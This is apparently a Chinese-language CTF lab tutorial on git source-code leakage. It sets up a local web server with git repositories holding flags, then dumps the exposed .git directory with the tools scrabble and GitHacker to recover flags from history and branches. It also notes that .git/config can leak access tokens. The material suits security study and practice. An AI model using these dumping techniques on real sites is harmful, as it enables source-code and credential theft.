目录
一、环境准备
(一)服务端和测试端虚拟机安装
1.下载并安装Ubuntu Server(过程略)
gdm3 start #启动桌面并登录
ifconfig #查看ip
2.下载并安装KaliLinux(过程略)
(二)在Ubuntu Server上安装宝塔面板
宝塔面板官网下载:https://www.bt.cn/download/linux.html
wget -O install.sh http://download.bt.cn/install/install-ubuntu_6.0.sh && sudo bash install.sh
安装成功!
(三)在另一台虚拟机中访问并完成相关组件安装:
二、一般情况
(一)初始化git仓库
先在宝塔面板中建一个网站
站点域名:bt.local (在KaliLinux虚拟机中修改/etc/hosts文件,将其指向Ubuntu Server)
#先进入/var/www/html目录
git init
vi flag #新增一个flag文件并保存
git add flag #向仓库增加flag文件
git commit -m "flag"
(二)scrabble获取flag
工具:scrabble
./scrabble http://localhost/ #会下载flag文件
三、需要回滚
(一)修改flag文件
#先进入/var/www/htm目录
vi flag #修改flag文件并保存
git add flag
git commit -m "change"
(二)回到上一版
./scrabble http://localhost/
git reset --hard HEAD^
也可用git log --stat和git diff HEAD commit-id查看和比较
git log --stat
git diff HEAD flag
四、git分支(默认master)
工具:GitHacker、python
(一)新建dev分支
git checkout -b dev
touch flag
echo "flag{flag_in_branch_dev}" > flag
git add flag
git commit -m "dev"
(二)切换回master分支
git checkout master
echo "Where is flag?" > flag
git add flag
git commit -m "flag"
(三)获取flag
sudo apt install python3-pip #安装pip3
pip3 install GitHacker #安装GitHacker
githacker --url http://localhost/.git/ --folder result #获取所有分支到result目录下
cd result
cat flag
git reflog
git checkout dev
五、其他
.git/config文件夹可能有access_token信息,泄露用户其他仓库信息
六、git相关命令
git checkout -b ?? #新建工切换分支
git checkout ?? #切换分支
git branch -a #查看所有分支
git branch #查看当前分支